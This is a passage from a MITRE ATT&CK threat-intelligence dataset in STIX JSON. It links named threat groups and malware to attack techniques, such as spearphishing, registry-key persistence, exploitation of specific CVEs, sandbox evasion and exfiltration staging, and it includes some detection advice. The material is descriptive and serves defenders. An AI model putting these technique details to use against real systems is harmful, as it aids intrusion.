Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:44:14.512Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has attempted to get users to open malicious PDF attachment and to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)(Citation: Proofpoint TA450 Phishing March 2024)\t ","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0644c51-e386-4dd9-99c1-e9f601fc398b","created":"2020-12-14T17:34:58.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:11:44.411Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) used a digitally signed driver with a compromised Realtek certificate.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d066c8bf-591c-4923-8794-5336cd568ab2","created":"2023-02-10T18:41:27.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:31:19.857Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can collect a list of installed software from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d067b113-4584-419f-860b-d3184f734350","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:59.298Z","description":"[S-Type](https://attack.mitre.org/software/S0085) may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d06c7363-a7f6-43b1-8af8-9d3b9975160c","type":"relationship","created":"2020-10-22T18:04:38.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:13:59.221Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d06c864f-e4b8-484d-8e75-76a480509665","type":"relationship","created":"2020-11-13T21:33:01.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.319Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can execute through the WinExec API.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d06cd799-f61b-460e-a287-e58e8ff39022","created":"2021-12-10T14:18:11.098Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has conducted SQL injection attacks, exploited vulnerabilities CVE-2019-19781 and CVE-2020-0688 for Citrix and MS Exchange, and CVE-2018-13379 for Fortinet VPNs.(Citation: CISA AA20-296A Berserk Bear December 2020)","modified":"2022-04-18T15:40:58.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d071081b-3e91-47dd-a5a2-a6b590a2b4fe","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor cloud logs for API calls and other potentially unusual activity related to snapshot enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","source_ref":"x-mitre-data-component--ffd73905-2e51-4f2d-8549-e72fb0eb6c38","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0718f47-ad79-4d04-a9d9-7bc97371a947","created":"2024-05-20T21:11:15.067Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:11:15.067Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has obtained credentials insecurely stored on targeted network appliances.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d0722ad7-32c5-4249-90b2-e76bea63ea59","created":"2022-04-13T20:12:52.723Z","x_mitre_version":"0.1","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can use Native API to enable obfuscation including `GetLastError` and `GetTickCount`.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:12:52.723Z","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0741465-c94e-4213-b830-2c4f09052334","type":"relationship","created":"2021-03-17T20:31:07.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-17T20:31:07.895Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d07460c8-0d13-4c25-81f7-56e5198f07c5","type":"relationship","created":"2020-05-04T19:13:35.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.466Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) can retrieve a list of applications from the SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths registry key.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d078f862-c090-4e79-808b-ff69887a920c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.999Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may query the Registry by running reg query on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d07acff6-9c10-4c0c-98b2-09f6980ac961","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to deactivation of instances that are occurring outside of planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f","target_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d07f2da6-6497-414f-96c1-9dd60155b169","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.787Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d07fa408-1a12-443f-a280-75fbe4447f6f","created":"2024-05-17T13:33:14.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:12:30.794Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) performs a variety of system environment checks to determine if it is running in a virtualized or sandboxed environment, such as querying CPU temperature information and network card MAC address information.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d08b9cb8-0f97-4933-b0de-40e4626dd13e","type":"relationship","created":"2019-04-17T19:18:00.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-17T19:24:27.802Z","description":"[Remexi](https://attack.mitre.org/software/S0375) uses AutoIt and VBS scripts throughout its execution process.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0934ba2-a4dc-4e1a-8065-84b142ecb01c","type":"relationship","created":"2020-02-11T18:39:25.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:39:25.202Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0946a00-610b-44d3-aec6-be292cfac52a","type":"relationship","created":"2021-09-01T20:53:29.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA453 July2021","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021."}],"modified":"2021-09-01T20:53:29.864Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has acquired mobile phone numbers of potential targets, possibly for mobile malware or additional phishing operations.(Citation: Proofpoint TA453 July2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0952afb-ce2a-43ee-bb6d-8daf90ebbd36","created":"2023-12-07T19:17:18.819Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T19:17:18.819Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has deployed ransomware from a batch file in a network share.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d095926f-b161-46ea-ac52-b7295ce42b80","created":"2022-06-02T12:29:35.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:42:41.835Z","description":"[ZxxZ](https://attack.mitre.org/software/S1013) has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.(Citation: Cisco Talos Bitter Bangladesh May 2022)","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d09c5595-27c1-4ada-9502-1012710b35a2","created":"2024-09-16T09:26:19.362Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:26:19.362Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used HTTPS for command and control.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d0a02e9b-9247-4bce-9070-649d7c908640","created":"2022-08-09T18:37:51.716Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can decrypt received data from its C2 server by using AES.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-09T18:37:51.716Z","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0a2aa1e-a824-47b8-99a5-c2d026c9432d","created":"2021-03-12T14:01:37.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.148Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can use the command code do_vslist to send file names, size, and status to C2.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0a3d891-2555-45eb-8aaf-99b86372607b","created":"2022-07-18T20:53:43.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:14:40.921Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used WinRAR to compress stolen files into an archive prior to exfiltration.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0b2e189-e764-44ec-9373-2f23212f6a45","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","source_name":"Kroll RawPOS Jan 2017"},{"url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","source_name":"TrendMicro RawPOS April 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-10-30T12:48:40.421Z","description":"[RawPOS](https://attack.mitre.org/software/S0169) installs itself as a service to maintain persistence.(Citation: Kroll RawPOS Jan 2017)(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 